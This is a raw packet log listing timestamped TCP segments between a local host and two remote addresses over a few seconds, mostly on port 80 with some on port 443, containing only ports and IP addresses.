Nov 21, 2024 07:10:20.614311934 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.614367008 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.614409924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.615134954 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.615210056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.615258932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.616029978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.616075993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.616142988 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.616193056 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.616942883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.617003918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.617084980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.617131948 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.617830992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.617888927 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.617948055 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.617996931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.618675947 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.618722916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.618830919 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.619009018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.619576931 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.619626999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.619769096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.619817972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.620438099 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.620490074 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.620563030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.620673895 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.621328115 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.621380091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.621416092 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.621455908 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.622208118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.622265100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.622267962 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.622308969 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.623039007 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.623095036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.623156071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.623228073 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.623927116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.623980999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.624131918 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.624182940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.624804020 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.624864101 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.624888897 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.624933004 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.625713110 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.625771999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.625864029 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.625917912 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.626563072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.626610041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.626682043 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.626729012 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.627424955 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.627480030 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.627480984 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.627532005 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.628314018 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.628366947 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.628437042 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.628505945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.629180908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.629235983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.629291058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.629347086 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.630034924 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.630075932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.630146980 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.630191088 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.630909920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.630965948 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.630989075 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.631030083 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.631792068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.631856918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.631895065 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.631932974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.632671118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.632728100 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.632782936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.632824898 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.633549929 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.633594036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.633661032 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.633703947 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.634430885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.634470940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.634568930 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.634634018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.635328054 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.635369062 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.635394096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.635437012 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.636243105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.636286974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.636409998 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.636656046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.637048960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.637092113 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.637161016 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.637286901 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.637928009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.637979984 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.638025999 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.638122082 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.638812065 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.638854980 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.638938904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.639111042 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.639669895 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.639767885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.639811993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.640674114 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.640685081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.640717983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.640729904 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.641426086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.641474962 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.641531944 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.641580105 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.642313957 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.642375946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.642424107 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.642522097 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.643199921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.643249035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.643297911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.643536091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.644087076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.644201994 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.644247055 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.644951105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.644999981 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.645054102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.645149946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.645826101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.645872116 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.645987034 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.646028042 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.646676064 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.646719933 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.646787882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.646831036 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.647562981 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.647598982 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.647603989 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.647634983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.648528099 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.648575068 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.648653030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.648695946 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.649321079 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.649359941 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.649418116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.649465084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.650163889 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.650208950 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.724054098 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.724628925 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.724685907 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.725227118 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.725239992 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.772433996 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.772960901 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.773057938 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.773431063 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.773446083 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.805651903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.805717945 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.805726051 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.805771112 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.805994034 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.806065083 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.806116104 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.806807995 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.807041883 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.807142973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.807254076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.807276011 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.807296991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.808104992 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.808167934 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.808320999 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.808371067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.808901072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.808980942 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.809020996 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.809072018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.809779882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.809887886 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.809943914 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.810663939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.810712099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.810810089 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.810853958 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.811532974 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.811580896 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.811641932 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.811690092 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.812423944 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.812478065 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.812515974 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.812571049 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.813299894 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.813349009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.813397884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.813812017 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.814186096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.814245939 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.814292908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.814408064 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.814721107 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.814770937 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.814837933 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.815017939 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.815017939 CET	49788	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.815058947 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.815063000 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.815104961 CET	443	49788	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.815114021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.815146923 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.815279961 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.815926075 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.815995932 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.816056967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.816101074 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.816803932 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.816869974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.816911936 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.817184925 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.817694902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.817745924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.817809105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.817867994 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.817893028 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.817918062 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.818232059 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.818366051 CET	49793	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.818380117 CET	443	49793	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.818540096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.818614960 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.818646908 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.818767071 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.819437027 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.819494009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.819539070 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.819855928 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.820367098 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.820426941 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.820669889 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.820727110 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.821290970 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.821345091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.821403027 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.821463108 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.822206020 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.822259903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.822324991 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.822367907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.822998047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.823054075 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.823057890 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.823096037 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.823921919 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.823965073 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.824079037 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.824126005 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.824748993 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.824918032 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.824925900 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.824959040 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.825630903 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.825689077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.825692892 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.825723886 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.826524973 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.826607943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.826692104 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.826759100 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.827377081 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.827434063 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.827490091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.827538967 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.828238010 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.828298092 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.828368902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.828448057 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.829102993 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.829160929 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.829245090 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.829296112 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.829991102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.830044031 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.830104113 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.830277920 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.830863953 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.830928087 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.830940962 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.830987930 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.831769943 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.831888914 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.831943035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.832639933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.832698107 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.832716942 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.832781076 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.833489895 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.833534956 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.833585978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.833630085 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.834408045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.834453106 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.834568024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.834609032 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.835370064 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.835413933 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.835491896 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.835541964 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.836205006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.836328030 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.836421013 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.836464882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.837074041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.837148905 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.837201118 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.837276936 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.837923050 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.837970018 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.838042021 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.838087082 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.838769913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.838821888 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.838886976 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.838929892 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.839652061 CET	80	49787	185.215.113.16	192.168.2.4
